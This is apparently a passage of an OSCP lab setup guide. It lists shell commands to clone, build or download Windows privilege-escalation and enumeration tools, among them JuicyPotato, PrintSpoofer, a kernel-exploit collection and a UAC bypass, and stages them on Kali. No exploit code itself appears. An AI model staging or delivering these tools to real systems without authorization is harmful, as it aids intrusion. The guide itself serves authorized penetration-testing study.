Windows PowerShell 5.1. The repository requires authorized GitHub access; authenticate on Kali when prompted. If you already have a local checkout, use it instead of cloning again. Preserve native/scripts/ad-map and the module; transfer the directory, not only the entry script. Upstream.

sudo apt install gh
gh auth login
gh auth setup-git
git clone --depth 1 https://github.com/ArmaanLeg3nd/OSCP-Exploitation-Reference.git "$HOME/oscp/tools/repos/OSCP-Exploitation-Reference"
mkdir -p "$HOME/oscp/tools/artifacts/windows/native/scripts"
cp -a "$HOME/oscp/tools/repos/OSCP-Exploitation-Reference/scripts/ad-map" "$HOME/oscp/tools/artifacts/windows/native/scripts/"

Check on Kali:

test -s "$HOME/oscp/tools/artifacts/windows/native/scripts/ad-map/ADMap.psm1"
test -s "$HOME/oscp/tools/artifacts/windows/native/scripts/ad-map/Invoke-ADMap.ps1"
test -s "$HOME/oscp/tools/artifacts/windows/native/scripts/ad-map/Get-HostSurface.ps1"
Prepare Seatbelt

Windows .NET build required. A source checkout is not a runnable Seatbelt.exe. Use a Windows Developer Command Prompt with MSBuild and the project's .NET Framework targeting pack; build Release, then transfer its output and dependencies to Kali. Upstream.

git clone --depth 1 https://github.com/GhostPack/Seatbelt.git "$HOME/oscp/tools/repos/Seatbelt"

Check on Kali:

test -s "$HOME/oscp/tools/repos/Seatbelt/Seatbelt.sln"

On the Windows build machine, clone the same upstream project and run from its directory:

MSBuild.exe Seatbelt.sln /p:Configuration=Release

Inspect the build output directory for the executable and required DLL/config files. Copy that complete output into ~/oscp/tools/artifacts/windows/Seatbelt/ on Kali using the existing transfer procedure. A modern dotnet build on Kali is not assumed to support these legacy .NET Framework projects.

Prepare SharpUp

Windows .NET build required. A source checkout is not a runnable SharpUp.exe. Use a Windows Developer Command Prompt with MSBuild and the project's .NET Framework targeting pack; build Release, then transfer its output and dependencies to Kali. Upstream.

git clone --depth 1 https://github.com/GhostPack/SharpUp.git "$HOME/oscp/tools/repos/SharpUp"

Check on Kali:

test -s "$HOME/oscp/tools/repos/SharpUp/SharpUp.sln"

On the Windows build machine, clone the same upstream project and run from its directory:

MSBuild.exe SharpUp.sln /p:Configuration=Release

Inspect the build output directory for the executable and required DLL/config files. Copy that complete output into ~/oscp/tools/artifacts/windows/SharpUp/ on Kali using the existing transfer procedure. A modern dotnet build on Kali is not assumed to support these legacy .NET Framework projects.

Prepare Watson

Windows .NET build required. A source checkout is not a runnable Watson.exe. Use a Windows Developer Command Prompt with MSBuild and the project's .NET Framework targeting pack; build Release, then transfer its output and dependencies to Kali. Watson additionally supports only its documented legacy OS builds. Upstream.

git clone --depth 1 https://github.com/rasta-mouse/Watson.git "$HOME/oscp/tools/repos/Watson"

Check on Kali:

test -s "$HOME/oscp/tools/repos/Watson/Watson.sln"

On the Windows build machine, clone the same upstream project and run from its directory:

MSBuild.exe Watson.sln /p:Configuration=Release

Inspect the build output directory for the executable and required DLL/config files. Copy that complete output into ~/oscp/tools/artifacts/windows/Watson/ on Kali using the existing transfer procedure. A modern dotnet build on Kali is not assumed to support these legacy .NET Framework projects.

Prepare PrintSpoofer

Conditional legacy Windows path. Select PrintSpoofer32.exe for x86; obtaining the binary does not establish compatible OS, spooler state or token rights. Upstream.

curl -fL https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -o "$HOME/oscp/tools/artifacts/windows/x64/PrintSpoofer.exe"

Check on Kali:

file "$HOME/oscp/tools/artifacts/windows/x64/PrintSpoofer.exe"
Prepare JuicyPotato

Conditional legacy Windows path. Verify the PE architecture and compatible CLSID/OS before target delivery; do not treat it as a universal escalation utility. Upstream.

curl -fL https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -o "$HOME/oscp/tools/artifacts/windows/x64/JuicyPotato.exe"
curl -fL https://raw.githubusercontent.com/ohpe/juicy-potato/master/CLSID/GetCLSID.ps1 -o "$HOME/oscp/tools/artifacts/windows/GetCLSID.ps1"

Check on Kali:

file "$HOME/oscp/tools/artifacts/windows/x64/JuicyPotato.exe"
test -s "$HOME/oscp/tools/artifacts/windows/GetCLSID.ps1"
Prepare PsExec (Sysinternals)

Windows native utility. Keep the official distribution/EULA and select the matching architecture; use requires the permissions in the owning procedure. Upstream.

curl -fL https://download.sysinternals.com/files/PSTools.zip -o "$HOME/oscp/tools/downloads/PSTools.zip"
unzip -o "$HOME/oscp/tools/downloads/PSTools.zip" -d "$HOME/oscp/tools/artifacts/windows/pstools"

Check on Kali:

file "$HOME/oscp/tools/artifacts/windows/pstools/PsExec64.exe"
Prepare Windows kernel exploit collection

Source/reference collection, not a general tool installation. Obtain only when the owning technique is applicable. Read the selected PoC requirements and build/runtime instructions; no exploit is executed by this checkout. Upstream.

git clone --depth 1 https://github.com/SecWiki/windows-kernel-exploits.git "$HOME/oscp/tools/repos/windows-kernel-exploits"

Check on Kali:

git -C "$HOME/oscp/tools/repos/windows-kernel-exploits" rev-parse --short HEAD
Prepare Token privilege research

Source/reference collection, not a general tool installation. Obtain only when the owning technique is applicable. Read the selected PoC requirements and build/runtime instructions; no exploit is executed by this checkout. Upstream.

git clone --depth 1 https://github.com/hatRiot/token-priv.git "$HOME/oscp/tools/repos/token-priv"

Check on Kali:

git -C "$HOME/oscp/tools/repos/token-priv" rev-parse --short HEAD
Prepare EventViewer-UACBypass

Source/reference collection, not a general tool installation. Obtain only when the owning technique is applicable. Read the selected PoC requirements and build/runtime instructions; no exploit is executed by this checkout. Upstream.

git clone --depth 1 https://github.com/CsEnox/EventViewer-UACBypass.git "$HOME/oscp/tools/repos/EventViewer-UACBypass"

Check on Kali:

git -C "$HOME/oscp/tools/repos/EventViewer-UACBypass" rev-parse --short HEAD
Prepare PuTTY / Plink

putty-tools supplies the Kali CLI; the existing Windows example uses the separately bundled windows-binaries artifact. Check its PE architecture/age before use; these are different platform binaries. Upstream.

sudo apt install putty-tools
cp /usr/share/windows-resources/binaries/plink.exe "$HOME/oscp/tools/artifacts/windows/x86/plink.exe"

Check on Kali:

plink -V
file "$HOME/oscp/tools/artifacts/windows/x86/plink.exe"
Prepare Process Monitor

Optional Windows GUI diagnostic tool requiring the appropriate administrator/driver access. The current release supports Windows 11 / Server 2019 and newer; do not assume it runs on the legacy Windows 7 example. Select a vendor-supported compatible build or use the existing manual checks. Upstream.

curl -fL https://download.sysinternals.com/files/ProcessMonitor.zip -o "$HOME/oscp/tools/downloads/ProcessMonitor.zip"
unzip -o "$HOME/oscp/tools/downloads/ProcessMonitor.zip" -d "$HOME/oscp/tools/artifacts/windows/procmon"

Check on Kali:

file "$HOME/oscp/tools/artifacts/windows/procmon/Procmon64.exe"
Prepare Hot Potato

Historical general-lab source only. This technique uses spoofing/relay and is outside the current exam baseline. This checkout does not build, stage or run potato.exe. Read the selected source/build requirements only for an independently authorized compatible lab. Upstream.

git clone --depth 1 https://github.com/foxglovesec/Potato.git "$HOME/oscp/tools/repos/Potato"

Check on Kali:

git -C "$HOME/oscp/tools/repos/Potato" rev-parse --short HEAD